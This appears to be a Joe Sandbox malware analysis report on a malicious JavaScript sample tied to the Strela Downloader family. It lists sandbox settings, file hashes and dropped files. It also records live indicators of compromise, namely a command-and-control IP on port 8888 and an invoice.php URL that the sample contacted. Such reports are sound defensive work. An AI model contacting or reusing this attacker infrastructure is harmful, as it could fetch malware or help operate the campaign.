Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false	high
http://crl.ver)	svchost.exe, 00000008.00000002.3084992094.000002BDBB800000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false	high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1854042750.000002BDBBAC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false	high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1841261363.00000183ABB28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1841261363.00000183ABB5B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1854042750.000002BDBBAC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1591622
Start date and time:	2025-01-15 08:10:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	14957144702878221204.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 54.224.241.105, 34.237.241.83, 18.213.11.84, 50.16.47.176, 2.16.168.125, 2.16.168.107, 2.16.168.105, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 2.19.126.143, 2.19.126.149, 20.12.23.50, 23.47.168.24, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:11:12	API Interceptor	22x Sleep call for process: powershell.exe modified
02:11:16	API Interceptor	1x Sleep call for process: net.exe modified
02:11:17	API Interceptor	2x Sleep call for process: svchost.exe modified
02:11:29	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1579614525244583223.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	35491083472324549.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28236151432955330765.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17201670993971103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2330118683179179335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	577119676170175151.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	106714464113327088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3062912729105825642.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1684156262492114486.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3130621478256819696.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1579614525244583223.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	35491083472324549.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28236151432955330765.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17201670993971103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2330118683179179335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	577119676170175151.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	106714464113327088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3062912729105825642.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1684156262492114486.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3130621478256819696.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073557678076222
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrd:KooCEYhgYEL0In
MD5:	F3A6F353630C018990B4D9911BF75FC5
SHA1:	ABB51F1681AA2DFF17ADACDFA9F7690450FC0625
SHA-256:	215C73237E447D780A74A7BA907A3D4D4EFE1FF294E26579B666BF2CDFDD27EA
SHA-512:	5EA1F59CC800EA25E35C4CB5B187CC3CB773641E70241D0583FA786A6D511EA7C0220080E84545C6425DDEB27973C0413307D919AE392FCC52500EB61ECEDB71
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xe55aa9e8, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42215549525198226
Encrypted:	false
SSDEEP:	1536:JSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Jaza/vMUM2Uvz7DO
MD5:	6B04F82AA3AFE39C5FF97B273F7E93D6
SHA1:	56F972BE2A9D2CEDEFF9A6F7C74A831BCB563DFB
SHA-256:	F93AA17572050EA72839F0919FDECC277BB75F97292E5BCEFD3A689661A0AF83
SHA-512:	2C89BEE8BB63EDF19BE88616FFC15401FC4BB65D899FF48EB2664189DA15B9053E1AE31ED77EDB4909011128F9D7AA3BD7B807EDC81FC2695C6F17F23F7F8CD2
Malicious:	false
Preview:	.Z..... .......A.......X\...;...{......................0.!..........{A......}].h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................ji.....}..................U9.......}]..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07689437767010271
Encrypted:	false
SSDEEP:	3:iLtKYeDjWjn13a//wyy51allcVO/lnlZMxZNQl:iLtKzDjW53q/yQOewk
MD5:	BE212FC8D20188F65533EAF6C93675E7
SHA1:	169A169803A185D676935892D0F628464256C7BA
SHA-256:	EEE0E6819117C14DB9B32CE25E5815D4A4E15D5D5D9A577AB5A259AE38C7BAD0
SHA-512:	6A6EBC2DE7AFBAE627576F637125E0AA1FCE91E42CD7F819FF84A0FAA831A7F7173258611776749C7B345C6A8AECA347EFC2303DE895D796BF6F64C93AC6A59C
Malicious:	false
Preview:	fz.......................................;...{.......}]......{A..............{A......{A..........{A]................U9.......}].........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.168234415259772
Encrypted:	false
SSDEEP:	6:iOuVLnUHyq2Pwkn2nKuAl9OmbnIFUt4VLDS1ZmwiVLLlRkwOwkn2nKuAl9OmbjLJ:7mjayvYfHAahFUtIk/CdR5JfHAaSJ
MD5:	F865A25EB828D0F2C98D312B9776FF30
SHA1:	1BF929D8E968629B06DE59D89850C8DE3107C2BD
SHA-256:	03AC42D2A89E826CE36D6506E9A639DABF4FDEEB43740259651DC48B796B4ADC
SHA-512:	D4269929364382C9BEBE5CACCFFAFB60B3E5B48033A92542DB3B3D2EDAE46FA15C0563E80A7DEB871332610822BE49B5BC42906F7BD373654839D160DBC2B2D4
Malicious:	false
Preview:	2025/01/15-02:11:17.048 1734 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/15-02:11:17.051 1734 Recovering log #3.2025/01/15-02:11:17.052 1734 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.168234415259772
Encrypted:	false
SSDEEP:	6:iOuVLnUHyq2Pwkn2nKuAl9OmbnIFUt4VLDS1ZmwiVLLlRkwOwkn2nKuAl9OmbjLJ:7mjayvYfHAahFUtIk/CdR5JfHAaSJ
MD5:	F865A25EB828D0F2C98D312B9776FF30
SHA1:	1BF929D8E968629B06DE59D89850C8DE3107C2BD
SHA-256:	03AC42D2A89E826CE36D6506E9A639DABF4FDEEB43740259651DC48B796B4ADC
SHA-512:	D4269929364382C9BEBE5CACCFFAFB60B3E5B48033A92542DB3B3D2EDAE46FA15C0563E80A7DEB871332610822BE49B5BC42906F7BD373654839D160DBC2B2D4
Malicious:	false
Preview:	2025/01/15-02:11:17.048 1734 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/15-02:11:17.051 1734 Recovering log #3.2025/01/15-02:11:17.052 1734 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.131746982133789
Encrypted:	false
SSDEEP:	6:iOuVLDF/jL+q2Pwkn2nKuAl9Ombzo2jMGIFUt4VLFFN1ZmwiVLFFbLVkwOwkn2ng:7mt/3+vYfHAa8uFUtIZL1/CZVV5JfHAv
MD5:	716E636500B706F38587C63FEB1DB85D
SHA1:	C8E2E40914C92055DEB0E73B43EC950ABFB1CB9C
SHA-256:	BBE8B49685B0C579EDC33471F624CCA6834E778694ABB30AD3FD13BAD2C5D441
SHA-512:	64FC19D9347BFA33FECA385C51D12DEB438F45799B468B0234F2334A70F681ADF70600EC0B14797F1AAA7560D75B5BEDD2D165FA7C44F302D69F9E305C7BA444
Malicious:	false
Preview:	2025/01/15-02:11:17.222 1c9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/15-02:11:17.224 1c9c Recovering log #3.2025/01/15-02:11:17.224 1c9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.131746982133789
Encrypted:	false
SSDEEP:	6:iOuVLDF/jL+q2Pwkn2nKuAl9Ombzo2jMGIFUt4VLFFN1ZmwiVLFFbLVkwOwkn2ng:7mt/3+vYfHAa8uFUtIZL1/CZVV5JfHAv
MD5:	716E636500B706F38587C63FEB1DB85D
SHA1:	C8E2E40914C92055DEB0E73B43EC950ABFB1CB9C
SHA-256:	BBE8B49685B0C579EDC33471F624CCA6834E778694ABB30AD3FD13BAD2C5D441
SHA-512:	64FC19D9347BFA33FECA385C51D12DEB438F45799B468B0234F2334A70F681ADF70600EC0B14797F1AAA7560D75B5BEDD2D165FA7C44F302D69F9E305C7BA444
Malicious:	false
Preview:	2025/01/15-02:11:17.222 1c9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/15-02:11:17.224 1c9c Recovering log #3.2025/01/15-02:11:17.224 1c9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963628712824044
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqREsBdOg2HCcaq3QYiubInP7E4T3y:Y2sRds+dMHN3QYhbG7nby
MD5:	23905DAD869F9A32858248F7ECBC6F5E
SHA1:	7D7EF38EFAD8DBC028878A82458DDA31DCD05FC6
SHA-256:	F28CAF8B3F183A9B0C7D8104E9DD99606A36DE56A2F12C876E37F5B591EA7DC9
SHA-512:	BC61F590229C04FAE65AC58247DA78A0D5859FD7168092CE8933A2933B5648DD3BB589444B80DBEC7D225616EBEE7FE7F3ED3FCC62A5917517A30A67A615C233
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381485089342717","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":118974},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\fbdbd06d-39aa-4654-925d-a2fdcad67968.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.963628712824044
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqREsBdOg2HCcaq3QYiubInP7E4T3y:Y2sRds+dMHN3QYhbG7nby
MD5:	23905DAD869F9A32858248F7ECBC6F5E
SHA1:	7D7EF38EFAD8DBC028878A82458DDA31DCD05FC6
SHA-256:	F28CAF8B3F183A9B0C7D8104E9DD99606A36DE56A2F12C876E37F5B591EA7DC9
SHA-512:	BC61F590229C04FAE65AC58247DA78A0D5859FD7168092CE8933A2933B5648DD3BB589444B80DBEC7D225616EBEE7FE7F3ED3FCC62A5917517A30A67A615C233
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381485089342717","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":118974},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.259962781929903
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7FK3j:etJCV4FiN/jTN/2r8Mta02fEhgO73gok
MD5:	E19C017F94824654455AFDB20B232A9C
SHA1:	F746665B5E460E0E3C5D070F4F702E31F2E58513
SHA-256:	66E4FE7EADA1A68AA2AAF9E9F84681C9BF4B4D98FBB7572FAE26AFFA63CD0F0F
SHA-512:	61C992388B076DDEA515D51F24FF11C2166AA287A53F3AD843441EF836E9AF1B764EA32AD814CA93779167BAC2FA8AD7DF0125521D02EF2B83C68A3DC987309F
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.171519763242437
Encrypted:	false
SSDEEP:	6:iOuVLPFbL+q2Pwkn2nKuAl9OmbzNMxIFUt4VLPFN1ZmwiVLvGzLVkwOwkn2nKuAo:7mzFf+vYfHAa8jFUtIzFN1/CKnV5JfHP
MD5:	BFB78C03770861E4719AC9199ABFE1F1
SHA1:	DC240582C82917F72C00E4704B2F9F0A2C8A2268
SHA-256:	D7B2520D7EB08C79CE042BD3863D154DC597A6FA9AE33AC8C157F7CCFADC7230
SHA-512:	F9C30064E99DC9CDB26208D60EE0EB02E90FD253DE5DE5D40F7D4665B4B1169A7517D4931A9E4BF06D856AF1AA709B7F8B9760E023FB5EC11D383117790390ED
Malicious:	false
Preview:	2025/01/15-02:11:17.824 1c9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/15-02:11:17.824 1c9c Recovering log #3.2025/01/15-02:11:17.825 1c9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.171519763242437
Encrypted:	false
SSDEEP:	6:iOuVLPFbL+q2Pwkn2nKuAl9OmbzNMxIFUt4VLPFN1ZmwiVLvGzLVkwOwkn2nKuAo:7mzFf+vYfHAa8jFUtIzFN1/CKnV5JfHP
MD5:	BFB78C03770861E4719AC9199ABFE1F1
SHA1:	DC240582C82917F72C00E4704B2F9F0A2C8A2268
SHA-256:	D7B2520D7EB08C79CE042BD3863D154DC597A6FA9AE33AC8C157F7CCFADC7230
SHA-512:	F9C30064E99DC9CDB26208D60EE0EB02E90FD253DE5DE5D40F7D4665B4B1169A7517D4931A9E4BF06D856AF1AA709B7F8B9760E023FB5EC11D383117790390ED
Malicious:	false
Preview:	2025/01/15-02:11:17.824 1c9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/15-02:11:17.824 1c9c Recovering log #3.2025/01/15-02:11:17.825 1c9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444865161962996
Encrypted:	false
SSDEEP:	384:yezci5teiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rxs3OazzU89UTTgUL
MD5:	07A1C82EE98FDBBE5756E11079A9BFA0
SHA1:	85BF70CD46291855838558BD1960E3C1D4D292C4
SHA-256:	CD07B6BF8B14EAABBBD01DD3DE669AB623B32E6A497363FFDFB09D44E7D1804F
SHA-512:	B251EA3E5C7DB6570BD7335E396F47175DFC21F1E6B0DCF1ED69F43156FD9339F61595FDDF0BC3DECA402E1F18891775B283AA86379FFBB90DC819EBAA5C7293
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7733081354026083
Encrypted:	false
SSDEEP:	48:7Mop/E2ioyVXioy9oWoy1Cwoy1XKOioy1noy1AYoy1Wioy1hioybioyDoy1noy15:7DpjuXFmXKQWXb9IVXEBodRBkp
MD5:	FD90718F377EA6FBF8A6796299576411
SHA1:	0136A16A628AB24A35198C9FF8797F02734F1BC8
SHA-256:	2353DCCC3F9B20218836BBE809102B63E9FFE58C8510372CC1FFF6E3A6F6F644
SHA-512:	FD9F48EACB84E8E088BD76BBB4D1DC4B13C4304A14FBE8C34EB14C7A0800BF8FC3563F41A97201B000AE11A2E266193D0A14444BC09395ACF41277CB3B6704A4
Malicious:	false
Preview:	.... .c.......S................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.756901573172974
Encrypted:	false
SSDEEP:	3:kkFkl589E/XfllXlE/HT8k5httNNX8RolJuRdxLlGB9lQRYwpDdt:kKX99T8I3NMa8RdWBwRd
MD5:	5223B14BABB98F9F1D274385008C6844
SHA1:	B8BEE9077E62703F4EF99B33A77A10BB9C35B9EC
SHA-256:	BC869CFCDF95291D0007595B4CC0D9429C9AEA87DBED90E7ECD115AB764AB1B2
SHA-512:	CB388EE180AA9138E1815D060BB48EA3A9990588C653B1B5E6899F742CD434F9C5823EF259C97F479D60707CFB1CF011E3F15277AD23F44004BD692A3E98A5A0
Malicious:	false
Preview:	p...... ........J....g..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat 